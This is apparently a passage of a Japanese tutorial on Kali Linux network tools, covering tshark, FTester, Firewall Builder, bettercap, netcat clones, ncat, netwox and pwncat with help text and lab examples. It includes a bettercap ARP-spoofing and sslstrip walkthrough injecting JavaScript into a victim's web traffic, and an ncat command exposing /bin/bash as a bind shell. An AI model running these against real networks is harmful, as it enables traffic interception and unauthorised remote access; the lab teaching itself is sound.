Capture stop conditions:
  -c <packet count>        stop after n packets (def: infinite)
  -a <autostop cond.> ..., --autostop <autostop cond.> ...
                           duration:NUM - stop after NUM seconds
                           filesize:NUM - stop this file after NUM KB
                              files:NUM - stop after NUM files
                            packets:NUM - stop after NUM packets
Capture output:
  -b <ringbuffer opt.> ..., --ring-buffer <ringbuffer opt.>
                           duration:NUM - switch to next file after NUM secs
                           filesize:NUM - switch to next file after NUM KB
                              files:NUM - ringbuffer: replace after NUM files
                            packets:NUM - switch to next file after NUM packets
                           interval:NUM - switch to next file when the time is
                                          an exact multiple of NUM secs
                         printname:FILE - print filename to FILE when written
                                          (can use 'stdout' or 'stderr')
Input file:
  -r <infile>, --read-file <infile>
                           set the filename to read from (or '-' for stdin)

Processing:
  -2                       perform a two-pass analysis
  -M <packet count>        perform session auto reset
  -R <read filter>, --read-filter <read filter>
                           packet Read filter in Wireshark display filter syntax
                           (requires -2)
  -Y <display filter>, --display-filter <display filter>
                           packet displaY filter in Wireshark display filter
                           syntax
  -n                       disable all name resolutions (def: "mNd" enabled, or
                           as set in preferences)
  -N <name resolve flags>  enable specific name resolution(s): "mtndsNvg"
  -d <layer_type>==<selector>,<decode_as_protocol> ...
                           "Decode As", see the man page for details
                           Example: tcp.port==8888,http
  -H <hosts file>          read a list of entries from a hosts file, which will
                           then be written to a capture file. (Implies -W n)
  --enable-protocol <proto_name>
                           enable dissection of proto_name
  --disable-protocol <proto_name>
                           disable dissection of proto_name
  --only-protocols <protocols>
                           Only enable dissection of these protocols, comma
                           separated. Disable everything else
  --disable-all-protocols
                           Disable dissection of all protocols
  --enable-heuristic <short_name>
                           enable dissection of heuristic protocol
  --disable-heuristic <short_name>
                           disable dissection of heuristic protocol
Output:
  -w <outfile|->           write packets to a pcapng-format file named "outfile"
                           (or '-' for stdout). If the output filename has the
                           .gz extension, it will be compressed to a gzip archive
  --capture-comment <comment>
                           add a capture file comment, if supported
  -C <config profile>      start with specified configuration profile
  --global-profile         use the global profile instead of personal profile
  -F <output file type>    set the output file type; default is pcapng.
                           an empty "-F" option will list the file types
  -V                       add output of packet tree        (Packet Details)
  -O <protocols>           Only show packet details of these protocols, comma
                           separated
  -P, --print              print packet summary even when writing to a file
  -S <separator>           the line separator to print between packets
  -x                       add output of hex and ASCII dump (Packet Bytes)
  --hexdump <hexoption>    add hexdump, set options for data source and ASCII dump
     all                   dump all data sources (-x default)
     frames                dump only frame data source
     ascii                 include ASCII dump text (-x default)
     delimit               delimit ASCII dump text with '|' characters
     noascii               exclude ASCII dump text
     help                  display help for --hexdump and exit
  -T pdml|ps|psml|json|jsonraw|ek|tabs|text|fields|?
                           format of text output (def: text)
  -j <protocolfilter>      protocols layers filter if -T ek|pdml|json selected
                           (e.g. "ip ip.flags text", filter does not expand child
                           nodes, unless child is specified also in the filter)
  -J <protocolfilter>      top level protocol filter if -T ek|pdml|json selected
                           (e.g. "http tcp", filter which expands all child nodes)
  -e <field>               field to print if -Tfields selected (e.g. tcp.port,
                           _ws.col.info)
                           this option can be repeated to print multiple fields
  -E<fieldsoption>=<value> set options for output when -Tfields selected:
     bom=y|n               print a UTF-8 BOM
     header=y|n            switch headers on and off
     separator=/t|/s|<char> select tab, space, printable character as separator
     occurrence=f|l|a      print first, last or all occurrences of each field
     aggregator=,|/s|<char> select comma, space, printable character as
                           aggregator
     quote=d|s|n           select double, single, no quotes for values
  -t (a|ad|adoy|d|dd|e|r|u|ud|udoy)[.[N]]|.[N]
                           output format of time stamps (def: r: rel. to first)
  -u s|hms                 output format of seconds (def: s: seconds)
  -l                       flush standard output after each packet
                           (implies --update-interval 0)
  -q                       be more quiet on stdout (e.g. when using statistics)
  -Q                       only log true errors to stderr (quieter than -q)
  -g                       enable group read access on the output file(s)
  -W n                     Save extra information in the file, if supported.
                           n = write network address resolution information
  -X <key>:<value>         eXtension options, see the man page for details
  -U tap_name              PDUs export mode, see the man page for details
  -z <statistics>          various statistics, see the man page for details
  --export-objects <protocol>,<destdir>
                           save exported objects for a protocol to a directory
                           named "destdir"
  --export-tls-session-keys <keyfile>
                           export TLS Session Keys to a file named "keyfile"
  --color                  color output text similarly to the Wireshark GUI,
                           requires a terminal with 24-bit color support
                           Also supplies color attributes to pdml and psml formats
                           (Note that attributes are nonstandard)
  --no-duplicate-keys      If -T json is specified, merge duplicate keys in an object
                           into a single key with as value a json array containing all
                           values
  --elastic-mapping-filter <protocols> If -G elastic-mapping is specified, put only the
                           specified protocols within the mapping file
  --temp-dir <directory>   write temporary files to this directory
                           (default: /tmp)
  --compress <type>        compress the output file using the type compression format

Diagnostic output:
  --log-level <level>      sets the active log level ("critical", "warning", etc.)
  --log-fatal <level>      sets level to abort the program ("critical" or "warning")
  --log-domains <[!]list>  comma-separated list of the active log domains
  --log-fatal-domains <list>
                           list of domains that cause the program to abort
  --log-debug <[!]list>    list of domains with "debug" level
  --log-noisy <[!]list>    list of domains with "noisy" level
  --log-file <path>        file to output messages to (in addition to stderr)

Miscellaneous:
  -h, --help               display this help and exit
  -v, --version            display version info and exit
  -o <name>:<value> ...    override preference setting
  -K <keytab>              keytab file to use for kerberos decryption
  -G [report]              dump one of several available reports and exit
                           default report="fields"
                           use "-G help" for more help

■ 使用例

# 宛先が５３番ポートのパケットのみをキャプチャする
root@kali:~# tshark -i eth0 -f "dst port 53"
Capturing on 'eth0'
    1 0.000000000   192.168.11.3 → 8.8.8.8      DNS 71 Standard query 0x4a50 A example.com

# キャプチャしたパケットのダンプから宛先が５３番ポートのパケットのみを表示する
root@kali:~# tshark -r test.pcap -Y udp.dstport==53
    1 0.000000000   192.168.11.3 → 8.8.8.8      DNS 71 Standard query 0x95d6 A example.com

# リアルタイムにキャプチャしたパケットの中からHTTPリクエストのホスト、メソッド、ユーザーエージェントを表示する	
root@kali:~# tshark -i eth0 -Y http.request -T fields -e http.host -e http.request.method -e http.user_agent
Capturing on 'eth0'
example.com     GET     curl/8.11.0

# キャプチャしたパケットのダンプから宛先ポートの件数を集計して表示する
root@kali:~# tshark -r test.pcap -T fields -e tcp.dstport | awk '$1 < 10000' | sort | uniq -c | sort -rn
   2057 80
    250 22

Network Filtering

FTester

ファイアウォールのフィルタリングポリシーのテストを行います。

■ 使用方法

root@kali:~# ftest --help

Usage: ftest [-OPTIONS [-MORE_OPTIONS]] [--] [PROGRAM_ARG1 ...]

Configuration options:
  -f <conf_file>
  -c <source_ip>:<source_port>:<dest_ip>:<dest_port>:<flags>:<protocol>:<tos>
  -v <verbose>

Timing options:
  -d <delay, 0.25 = 250 ms>
  -s <sleep time, 1 = 1 s>

Evasion options:
  -e <evasion method>
  -t <ids_ttl>

Connection options:
  -r <reset connection>
  -F <end connection>
  -g <IP fragments number, es. 4|IP fragments size, es. 16b>
  -p <TCP segments number, es. 4|TCP segments size, es 6b>
  -k <cksum value, es. 60000>
  -m <marker>
  
root@kali:~# ftestd --help

Usage: ftestd [-OPTIONS [-MORE_OPTIONS]] [--] [PROGRAM_ARG1 ...]

Configuration options:
  -i <interface>
  -g <fragments reassembly>
  -m <marker>
  -v <verbose>

Connection options:
  -c <ttl1:ttl2> (ttl1 setting currently works only on Linux systems)
  -m <marker>

■ 使用例

# テストシナリオを作成
root@kali_1:~# cat > ftest.conf << EOF
192.168.11.3:12345:192.168.65.3:80:S:TCP:0
192.168.11.3:12345:192.168.65.3:443:S:TCP:0
192.168.11.3:12345:192.168.65.3:20-25:S:TCP:0
stop_signal=192.168.11.3:80:192.168.0.3:12345:AP:TCP
EOF

# ホスト１とホスト２の間にファイアウォールを設置しインバウンドは22番、80番、443番ポートのみ許可に設定

# ホスト２でスニファー（ftestd）を起動
root@kali_2:~# ftestd -i eth0 -v
# ホスト１からテストシナリオを指定してパケットジェネレーター（ftest）を実行
root@kali_1:~# ftest -f ftest.conf -v -d 0.01
1 - 192.168.11.3:12345 > 192.168.65.3:80 S TCP 0
2 - 192.168.11.3:12345 > 192.168.65.3:443 S TCP 0
3 - 192.168.11.3:12345 > 192.168.65.3:20 S TCP 0
4 - 192.168.11.3:12345 > 192.168.65.3:21 S TCP 0
5 - 192.168.11.3:12345 > 192.168.65.3:22 S TCP 0
6 - 192.168.11.3:12345 > 192.168.65.3:23 S TCP 0
7 - 192.168.11.3:12345 > 192.168.65.3:24 S TCP 0
8 - 192.168.11.3:12345 > 192.168.65.3:25 S TCP 0
Stop packet => 192.168.11.3:80 > 192.168.0.3:12345 AP TCP

# パケットジェネレーターとスニファーを比較してレポートを作成
root@kali:~# freport ftest.log ftestd.log

Authorized packets:
-------------------


Modified packets (probably NAT):
--------------------------------

1 - 192.168.11.3:12345 > 192.168.65.3:80 S TCP 0
2 - 192.168.11.3:12345 > 192.168.65.3:443 S TCP 0
5 - 192.168.11.3:12345 > 192.168.65.3:22 S TCP 0
9 - 192.168.11.3:80 > 192.168.0.3:12345 PA TCP
                >>>>>>>>
1 - 192.168.0.1:12345 > 192.168.0.3:80 S TCP 0
2 - 192.168.0.1:12345 > 192.168.0.3:443 S TCP 0
5 - 192.168.0.1:12345 > 192.168.0.3:22 S TCP 0
9 - 192.168.11.3:80 > 192.168.0.3:12345 PA TCP 0

Filtered or dropped packets:
----------------------------

3 - 192.168.11.3:12345 > 192.168.65.3:20 S TCP 0
4 - 192.168.11.3:12345 > 192.168.65.3:21 S TCP 0
6 - 192.168.11.3:12345 > 192.168.65.3:23 S TCP 0
7 - 192.168.11.3:12345 > 192.168.65.3:24 S TCP 0
8 - 192.168.11.3:12345 > 192.168.65.3:25 S TCP 0

Firewall Builder

ファイアウォールのルールをGUIで作成・コンパイル/インストールします。以下の製品に対応しています。

iptables
ipfw
ipfilter
PF
Cisco ASA/PIX/FWSM
Cisco router ACL
Juniper Junos ACL

■ 使用例

root@kali:~# fwbuilder
Firewall Builder GUI 5.3.7

GUIでiptablesのルールを作成

コンパイルを実行すると保存先に<任意のファイル名>.fwという起動スクリプトが作成されるため、それを手動でサーバーに配置もしくはGUIからインストールコマンド（SCP）でサーバーに配置します。

# スクリプト実行前（ルール未設定）
root@kali:~# iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

# スクリプト実行（起動）
root@kali:~# /etc/init.d/kali.fw start
Activating firewall script generated Wed Oct  9 05:08:38 2024 by root
Running prolog script
[...]

# 設定が反映されている
root@kali:~# iptables -L
Chain INPUT (policy DROP)
target     prot opt source               destination         
ACCEPT     all  --  anywhere             anywhere             state RELATED,ESTABLISHED
In_RULE_0  tcp  --  192.168.11.4         anywhere             tcp dpt:ssh
In_RULE_1  tcp  --  anywhere             anywhere             tcp dpt:ssh

Chain FORWARD (policy DROP)
target     prot opt source               destination         
ACCEPT     all  --  anywhere             anywhere             state RELATED,ESTABLISHED
In_RULE_0  tcp  --  192.168.11.4         anywhere             tcp dpt:ssh
In_RULE_1  tcp  --  anywhere             anywhere             tcp dpt:ssh

Chain OUTPUT (policy DROP)
target     prot opt source               destination         
ACCEPT     all  --  anywhere             anywhere             state RELATED,ESTABLISHED

Chain In_RULE_0 (2 references)
target     prot opt source               destination         
LOG        all  --  anywhere             anywhere             LOG level info prefix "RULE 0 -- CUSTOM "
ACCEPT     all  --  anywhere             anywhere            

Chain In_RULE_1 (2 references)
target     prot opt source               destination         
LOG        all  --  anywhere             anywhere             LOG level info prefix "RULE 1 -- DENY "
DROP       all  --  anywhere             anywhere

# スクリプト実行（停止）
root@kali:~# /etc/init.d/kali.fw stop

# 設定がリセットされている
root@kali:~# iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

Multi-purpose Toolkit

bettercap

IPv4/IPv6ネットワーク、Wi-Fiネットワーク、BLEデバイスなど、複数のターゲットに対して偵察や攻撃を行うためのネットワークセキュリティフレームワークです。

■ 使用方法

root@kali:~# bettercap --help

Usage of bettercap:
  -autostart string
        Comma separated list of modules to auto start. (default "events.stream")
  -caplet string
        Read commands from this file and execute them in the interactive session.
  -caplets-path string
        Specify an alternative base path for caplets.
  -cpu-profile file
        Write cpu profile file.
  -debug
        Print debug messages.
  -env-file string
        Load environment variables from this file if found, set to empty to disable environment persistence.
  -eval string
        Run one or more commands separated by ; in the interactive session, used to set variables via command line.
  -gateway-override string
        Use the provided IP address instead of the default gateway. If not specified or invalid, the default gateway will be used.
  -iface string
        Network interface to bind to, if empty the default interface will be auto selected.
  -mem-profile file
        Write memory profile to file.
  -no-colors
        Disable output color effects.
  -no-history
        Disable interactive session history file.
  -pcap-buf-size int
        PCAP buffer size, leave to 0 for the default value. (default -1)
  -script string
        Load a session script.
  -silent
        Suppress all logs which are not errors.
  -version
        Print the version and exit.

■ 使用例

# 攻撃者ホストでbettercapを起動
root@kali_1:~# bettercap
192.168.0.0/16 > 192.168.11.3  » [03:33:17] [sys.log] [inf] gateway monitor started ...
# ネットワーク上のホストの探索
192.168.0.0/16 > 192.168.11.3  » net.recon on
192.168.0.0/16 > 192.168.11.3  » [07:01:21] [endpoint.new] endpoint 192.168.11.4 detected as 02:42:ac:12:00:04.
# HTTPプロキシを起動（レスポンスにJavaScriptのコードを挿入する）
192.168.0.0/16 > 192.168.11.3  » set http.proxy.injectjs alert("Hello World")
192.168.0.0/16 > 192.168.11.3  » set http.proxy.sslstrip true
192.168.0.0/16 > 192.168.11.3  » http.proxy on
192.168.0.0/16 > 192.168.11.3  » [07:01:46] [sys.log] [inf] http.proxy started on 192.168.11.3:8080 (sslstrip enabled)
# 標的ホストに対してARPスプーフィングを実行
192.168.0.0/16 > 192.168.11.3  » set arp.spoof.targets 192.168.11.4
192.168.0.0/16 > 192.168.11.3  » set arp.spoof.fullduplex true
192.168.0.0/16 > 192.168.11.3  » arp.spoof on
192.168.0.0/16 > 192.168.11.3  » [07:02:02] [sys.log] [war] arp.spoof full duplex spoofing enabled, if the router has ARP spoofing mechanisms, the attack will fail.
192.168.0.0/16 > 192.168.11.3  » [07:02:02] [sys.log] [inf] arp.spoof arp spoofer started, probing 1 targets.

# HTTPプロキシ起動時にiptablesに自動的にルールが追加される
root@kali_1:~# iptables -t nat -L PREROUTING
Chain PREROUTING (policy ACCEPT)
target     prot opt source               destination
DNAT       tcp  --  anywhere             anywhere             tcp dpt:http to:192.168.11.3:8080

# 標的ホストで外部サイトにHTTPリクエストを送信
# ARPスプーフィングにより攻撃者ホストのHTTPプロキシに経由されSSLStripでHTTPSリクエストに差し替えられ、外部サイトからのレスポンスにJavaScriptコードが埋め込まれる
root@kali_2:~# curl -L http://qiita.com 
[...]
<noscript><link crossorigin="anonymous" href="http://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" integrity="sha512-SfTiTlX6kk+qitfevl/7LibUOeJWlt9rbyDn92a1DqWOw9vWG2MFoays0sgObmWazO5BQPiFucnnEAjpAB+/Sw==" referrerpolicy="no-referrer" rel="stylesheet" /></noscript>
<script type="text/javascript">alert(Hello World)</script>
</head>
[...]

root@kali_1:~# bettercap
[...]
192.168.0.0/16 > 192.168.11.3  » [07:02:02] [sys.log] [inf] arp.spoof arp spoofer started, probing 1 targets.
192.168.0.0/16 > 192.168.11.3  » [07:02:18] [sys.log] [inf] [sslstrip] Got redirection from HTTP to HTTPS: http://qiita.com -> https://qiita.com
192.168.0.0/16 > 192.168.11.3  » [07:02:18] [sys.log] [inf] http.proxy > injecting javascript (65 bytes) into qiita.com/ (167 bytes) for 192.168.11.4
192.168.0.0/16 > 192.168.11.3  » [07:02:18] [sys.log] [inf] [sslstrip] Replacing host qiita.com with qiita.com in request from 192.168.11.4:44038 and transmitting HTTPS
192.168.0.0/16 > 192.168.11.3  » [07:02:19] [sys.log] [inf] [sslstrip] Stripping 65 SSL links from qiita.com
192.168.0.0/16 > 192.168.11.3  » [07:02:19] [sys.log] [inf] [sslstrip] Fixing cookies on qiita.com
192.168.0.0/16 > 192.168.11.3  » [07:02:19] [sys.log] [inf] http.proxy > injecting javascript (65 bytes) into qiita.com/ (290066 bytes) for 192.168.11.4

Cryptcat

netcatにTwofish暗号化を組み込んだnetcatのクローンです。

■ 使用方法

root@kali:~# cryptcat -h

connect to somewhere:   nc [-options] hostname port[s] [ports] ...
listen for inbound:     nc -l -p port [-options] [hostname] [port]
options:
        -g gateway              source-routing hop point[s], up to 8
        -G num                  source-routing pointer: 4, 8, 12, ...
        -h                      this cruft
        -i secs                 delay interval for lines sent, ports scanned
        -l                      listen mode, for inbound connects
        -n                      numeric-only IP addresses, no DNS
        -o file                 hex dump of traffic
        -p port                 local port number
        -r                      randomize local and remote ports
        -s addr                 local source address
        -u                      UDP mode
        -v                      verbose [use twice to be more verbose]
        -w secs                 timeout for connects and final net reads
        -z                      zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive]

■ 使用例

# ホスト１をリッスンモードで起動（シークレットパスワードhello）
root@kali_1:~# cryptcat -k hello -l -p 4444

# ホスト２からホスト１へデータを送信
root@kali_2:~# cryptcat -k hello 192.168.11.3 4444
hello

# 通信内容が暗号化されている
root@kali_1:~# tcpdump -n -A -i eth0
06:08:53.194279 IP 192.168.11.4.51566 > 192.168.11.3.4444: Flags [P.], seq 221508907:221508923, ack 2778846694, win 502, options [nop,nop,TS val 1303472439 ecr 1186926670], length 16
E..D.)@.@..a.........n.\.3.+........X`.....
M.i7F..NH.(..<o`..s.i
W`

# netcatの場合は平文で送信されている
root@kali_1:~# tcpdump -n -A -i eth0
06:10:20.289697 IP 192.168.11.4.42856 > 192.168.11.3.4444: Flags [P.], seq 2016164085:2016164091, ack 3696696589, win 502, options [nop,nop,TS val 1303559539 ecr 1187034921], length 6
E..:,.@.@............h.\x,8..W......XV.....
M..sF..)hello

dbd

netcatにAES-CBC-128 + HMAC-SHA1暗号化を組み込んだnetcatのクローンです。

■ 使用方法

root@kali:~# dbd -h

connect (tcp): dbd [-options] host port
listen (tcp):  dbd -l -p port [-options]
options:
    -l          listen for incoming connection
    -p n        choose port to listen on, or source port to connect out from
    -a address  choose an address to listen on or connect out from
    -e prog     program to execute after connect (e.g. -e cmd.exe or -e bash)
    -r n        infinitely respawn/reconnect, pause for n seconds between
                connection attempts. -r0 can be used to re-listen after
                disconnect (just like a regular daemon)
    -c on|off   encryption on/off. specify whether you want to use the built-in
                AES-CBC-128 + HMAC-SHA1 encryption implementation (by
                Christophe Devine - http://www.cr0.net:8040/) or not
                default is: -c on
    -k secret   override default phrase to use for encryption (secret must be
                shared between client and server)
    -q          hush, quiet, don\'t print anything (overrides -v)
    -v          be verbose
    -n          toggle numeric-only IP addresses (don\'t do DNS resolution). if
                you specify -n twice, original state will be active (i.e. -n
                works like a on/off switch)
    -m          toggle monitoring (snooping) on/off (only used with the -e
                option). snooping can also be turned on by specifying -vv (-v
                two times)
    -P prefix   add prefix (+ a hardcoded separator) to all outbound data.
                this option is mostly only useful for dbd in "chat mode" (to
                prefix lines you send with your nickname)
    -H on|off   highlight incoming data with a hardcoded (color) escape
                sequence (for e.g. chatting). default is: -H off
    -V          print version banner and exit (include that output in your
                bug report and send bug report to michel.blomgren@tigerteam.se)
unix-like OS specific options:
    -s          invoke a shell, nothing else. if dbd is setuid 0, it\'ll invoke
                a root shell
    -w n        "immobility timeout" in seconds for idle read/write operations
                and program execution (the -e option)
    -D on|off   fork and run in background (daemonize). default: -D off

■ 使用例

# ホスト１をリッスンモードで起動（シークレットパスワードhello）
root@kali_1:~# dbd -k hello -l -p 4444

# ホスト２からホスト１へデータを送信
root@kali_2:~# dbd -k hello 192.168.11.3 4444
hello

# 通信内容が暗号化されている
root@kali_1:~# tcpdump -n -A -i eth0
07:07:13.657017 IP 192.168.11.4.47676 > 192.168.11.3.4444: Flags [P.], seq 401500837:401500873, ack 2018669106, win 502, options [nop,nop,TS val 1306973150 ecr 1190446901], length 36
E..X.9@.@.2=.........<.\..j.xRr2....Xt.....
M...F..5.8c..(.d...F._F..&.v[....(.....^1n.:

# netcatの場合は平文で送信されている
root@kali_1:~# tcpdump -n -A -i eth0
07:08:32.684187 IP 192.168.11.4.53998 > 192.168.11.3.4444: Flags [P.], seq 2097202315:2097202321, ack 1718728373, win 502, options [nop,nop,TS val 1307052182 ecr 1190526777], length 6
E..:;.@.@..     ...........\}...fq......XV.....
M...F..9hello

Ncat

netcatの機能を強化したネットワークツールです。チェーン接続、TCPとUDPポートの両方を他のサイトにリダイレクト、SSLサポート、SOCKS4またはHTTPプロキシ経由のプロキシ接続などの機能を備えています。

■ 使用方法

root@kali:~# ncat --help

Usage: ncat [options] [hostname] [port]

Options taking a time assume seconds. Append 'ms' for milliseconds,
's' for seconds, 'm' for minutes, or 'h' for hours (e.g. 500ms).
  -4                         Use IPv4 only
  -6                         Use IPv6 only
  -U, --unixsock             Use Unix domain sockets only
      --vsock                Use vsock sockets only
  -C, --crlf                 Use CRLF for EOL sequence
  -c, --sh-exec <command>    Executes the given command via /bin/sh
  -e, --exec <command>       Executes the given command
      --lua-exec <filename>  Executes the given Lua script
  -g hop1[,hop2,...]         Loose source routing hop points (8 max)
  -G <n>                     Loose source routing hop pointer (4, 8, 12, ...)
  -m, --max-conns <n>        Maximum <n> simultaneous connections
  -h, --help                 Display this help screen
  -d, --delay <time>         Wait between read/writes
  -o, --output <filename>    Dump session data to a file
  -x, --hex-dump <filename>  Dump session data as hex to a file
  -i, --idle-timeout <time>  Idle read/write timeout
  -p, --source-port port     Specify source port to use
  -s, --source addr          Specify source address to use (doesn\'t affect -l)
  -l, --listen               Bind and listen for incoming connections
  -k, --keep-open            Accept multiple connections in listen mode
  -n, --nodns                Do not resolve hostnames via DNS
  -t, --telnet               Answer Telnet negotiations
  -u, --udp                  Use UDP instead of default TCP
      --sctp                 Use SCTP instead of default TCP
  -v, --verbose              Set verbosity level (can be used several times)
  -w, --wait <time>          Connect timeout
  -z                         Zero-I/O mode, report connection status only
      --append-output        Append rather than clobber specified output files
      --send-only            Only send data, ignoring received; quit on EOF
      --recv-only            Only receive data, never send anything
      --no-shutdown          Continue half-duplex when receiving EOF on stdin
      --allow                Allow only given hosts to connect to Ncat
      --allowfile            A file of hosts allowed to connect to Ncat
      --deny                 Deny given hosts from connecting to Ncat
      --denyfile             A file of hosts denied from connecting to Ncat
      --broker               Enable Ncat\'s connection brokering mode
      --chat                 Start a simple Ncat chat server
      --proxy <addr[:port]>  Specify address of host to proxy through
      --proxy-type <type>    Specify proxy type ("http", "socks4", "socks5")
      --proxy-auth <auth>    Authenticate with HTTP or SOCKS proxy server
      --proxy-dns <type>     Specify where to resolve proxy destination
      --ssl                  Connect or listen with SSL
      --ssl-cert             Specify SSL certificate file (PEM) for listening
      --ssl-key              Specify SSL private key (PEM) for listening
      --ssl-verify           Verify trust and domain name of certificates
      --ssl-trustfile        PEM file containing trusted SSL certificates
      --ssl-ciphers          Cipherlist containing SSL ciphers to use
      --ssl-servername       Request distinct server name (SNI)
      --ssl-alpn             ALPN protocol list to use
      --version              Display Ncat\'s version information and exit

■ 使用例

# SMTPサーバーに接続して対話を行う
root@kali:~# ncat 192.168.11.4 25
220 server4test.localdomain ESMTP Postfix (Ubuntu)
VRFY hello@localhost
252 2.0.0 hello@localhost
QUIT
221 2.0.0 Bye

# ホストAで8081番ポートを使ってコマンドを待ち受ける
root@kali_a:~# ncat --exec "/bin/bash" -l 8081 --keep-open

# ホストBからホストAの8081番ポートに接続してコマンドを送信
root@kali_b:~# ncat 192.168.11.4 8081
hostname
kali_a

# ホストAをリッスン状態で待機し受信したデータをファイルに出力する
root@kali_a:~# ncat -l > hello.txt

# ホストBからホストAに対してファイルを送信
root@kali_b:~# ncat --send-only 192.168.11.3 < hello.txt

netwox

200種類を超えるネットワーク関連のユーティリティツールを提供します。ツールの分類は以下の通りです。

information
network protocol
application protocol
sniff (capture network packets)
spoof (create and send packets)
record (file containing captured packets)
client
server
ping (check if a computer if reachable)
traceroute (obtain list of gateways)
scan (computer and port discovery)
network audit
brute force (check if passwords are weak)
remote administration
tools not related to network

■ 使用方法

root@kali:~# man netwox

SYNOPSIS
       netwox number [ parameters... ]
       netwox number --help
       netwox number --help2
       netwox
DESCRIPTION
       number number of the tool to use

       parameters
              parameters for the chosen tool number.  Parameter --help shows help.  Parameter --help2 shows description.

       When  using  netwox  without  number and parameters, it enters interactive help mode. In this mode, the user has to select a category by
       pressing a key. Then by choosing a tool number, its corresponding usage is displayed. Note: netwag is easier than interactive help mode.

■ 使用例

# インタラクティブモードで起動
root@kali:~# netwox
######################## MAIN MENU #########################
[...]
 a + information
 b + network protocol
 c + application protocol
 d + sniff (capture network packets)
 e + spoof (create and send packets)
 f + record (file containing captured packets)
 g + client
 h + server
 i + ping (check if a computer if reachable)
 j + traceroute (obtain list of gateways)
 k + scan (computer and port discovery)
 l + network audit
 m + brute force (check if passwords are weak)
 n + remote administration
 o + tools not related to network
Select a node (key in 03456abcdefghijklmno): g

########################## client ##########################
[...]
 a + UDP client
 b + TCP client
Select a node (key in 0123456ab): b

######################## TCP client ########################
[...]
 a + generic TCP client
 b + DNS (tcp) client
 c + FTP client
 d + HTTP client
 e + IDENT client
 f + IRC client
 g + NNTP client
 h + SMB client
 i + SMTP client
 j + TELNET client
 k + WHOIS client
Select a node (key in 0123456abcdefghijk): h

######################## SMB client ########################
[...]
 a - 198:SMB/CIFS client: list shares
 b - 199:SMB/CIFS client: create a directory
 c - 200:SMB/CIFS client: delete a directory
 d - 201:SMB/CIFS client: rename a directory
 e - 202:SMB/CIFS client: list contents of a directory
 f - 203:SMB/CIFS client: delete a file
 g - 204:SMB/CIFS client: rename a file
 h - 205:SMB/CIFS client: get a file
 i - 206:SMB/CIFS client: put a file
 j - 207:SMB/CIFS client: recursively get a directory
 k - 208:SMB/CIFS client: recursively put a directory
 l - 209:SMB/CIFS client: recursively delete a directory
Select a node (key in 0123456abcdefghijkl): a

################# help for tool number 198 #################
Title: SMB/CIFS client: list shares
[...]
Synonyms: smbclient
Usage: netwox 198 -i ip [-u login] [-w password] [-N netbiosname] [-d device] [-E eth] [-e eth] [-I ip] [-P port] [-p port] [-o ip4opts] [-O ip6exts] [-v uint32] [-T uint32] [-V|+V] [-D|+D]
Parameters:
 -i|--dst-ip ip                 destination IP address {5.6.7.8}
 -u|--user login                username
 -w|--password password         password
 -N|--netbiosname netbiosname   server NetBIOS NAME
 -d|--device device             device name {Eth0}
 -E|--src-eth eth               source ethernet address {0:2:3:4:5:6}
 -e|--dst-eth eth               destination ethernet address {0:8:9:a:b:c}
 -I|--src-ip ip                 source IP address {192.168.11.3}
 -P|--src-port port             source port number {0}
 -p|--dst-port port             destination port number {139}
 -o|--ip4opts ip4opts           IPv4 options
 -O|--ip6exts ip6exts           IPv6 extensions
 -v|--authversion uint32        0=Lanman, 1=NTLMv1, 2=NTLMv2, unset=best {2}
 -T|--timeout uint32            timeout in milliseconds {60000}
 -V|--verbose|+V|--no-verbose   display SMB trace
 -D|--debug|+D|--no-debug       display SMB packets
Example: netwox 198 -i "5.6.7.8"
Example: netwox 198 --dst-ip "5.6.7.8"
Press 'r' or 'k' to run this tool, or any other key to continue

netwox 198 -i 192.168.11.4 -u hello -w hello
share=print$
comment=Printer Drivers
sharetype=0

share=tmp
comment=oh noes!
sharetype=0

share=opt
comment=
sharetype=0

share=IPC$
comment=IPC Service (b776fbd9255f server (Samba 3.0.20-Debian))
sharetype=3

share=ADMIN$
comment=IPC Service (b776fbd9255f server (Samba 3.0.20-Debian))
sharetype=3

share=hello
comment=Home Directories
sharetype=0

Command returned 0 (OK)

pwncat

Netcatの機能を強化したネットワークツールです。バインド＆リバースシェル、自己注入シェル、ポート転送などの機能を備えています。

■ 使用方法

root@kali:~# pwncat --help

usage: pwncat [options] hostname port
       pwncat [options] -l [hostname] port
       pwncat [options] -z hostname port
       pwncat [options] -L [addr:]port hostname port
       pwncat [options] -R addr:port hostname port
       pwncat -V, --version
       pwncat -h, --help

positional arguments:
  hostname              Address to listen, forward, scan or connect to.

  port                  [All modes]
                        Single port to listen, forward or connect to.
                        [Zero-I/O mode]
                        Specify multiple ports to scan:
                        Via list:  4444,4445,4446
                        Via range: 4444-4446
                        Via incr:  4444+2

mode arguments:
  -l, --listen          [Listen mode]:
                        Start a server and listen for incoming connections.
                        If using TCP and a connected client disconnects or the
                        connection is interrupted otherwise, the server will
                        quit. See -k/--keep-open to change this behaviour.

  -z, --zero            [Zero-I/0 mode]:
                        Connect to a remote endpoint and report status only.
                        Used for port scanning.
                        See --banner for version detection.

  -L [addr:]port, --local [addr:]port
                        [Local forward mode]:
                        This mode will start a server and a client internally.
                        The internal server will listen locally on specified
                        addr/port (given by --local [addr:]port).
                        The server will then forward traffic to the internal
                        client which connects to another server specified by
                        hostname/port given via positional arguments.
                        (I.e.: proxies a remote service to a local address)

  -R addr:port, --remote addr:port
                        [Remote forward mode]:
                        This mode will start two clients internally. One is
                        connecting to the target and one is connecting to
                        another pwncat/netcat server you have started some-
                        where. Once connected, it will then proxy traffic
                        between you and the target.
                        This mode should be applied on machines that block
                        incoming traffic and only allow outbound.
                        The connection to your listening server is given by
                        -R/--remote addr:port and the connection to the
                        target machine via the positional arguments.

optional arguments:
  -e cmd, --exec cmd    Execute shell command. Only for connect or listen mode.

  -C lf, --crlf lf      Specify, 'lf', 'crlf' or 'cr' to always force replacing
                        line endings for input and outout accordingly. Specify
                        'no' to completely remove any line feeds. By default
                        it will not replace anything and takes what is entered
                        (usually CRLF on Windows, LF on Linux and some times
                        CR on MacOS).

  -n, --nodns           Do not resolve DNS.

  --send-on-eof         Buffer data received on stdin until EOF and send
                        everything in one chunk.

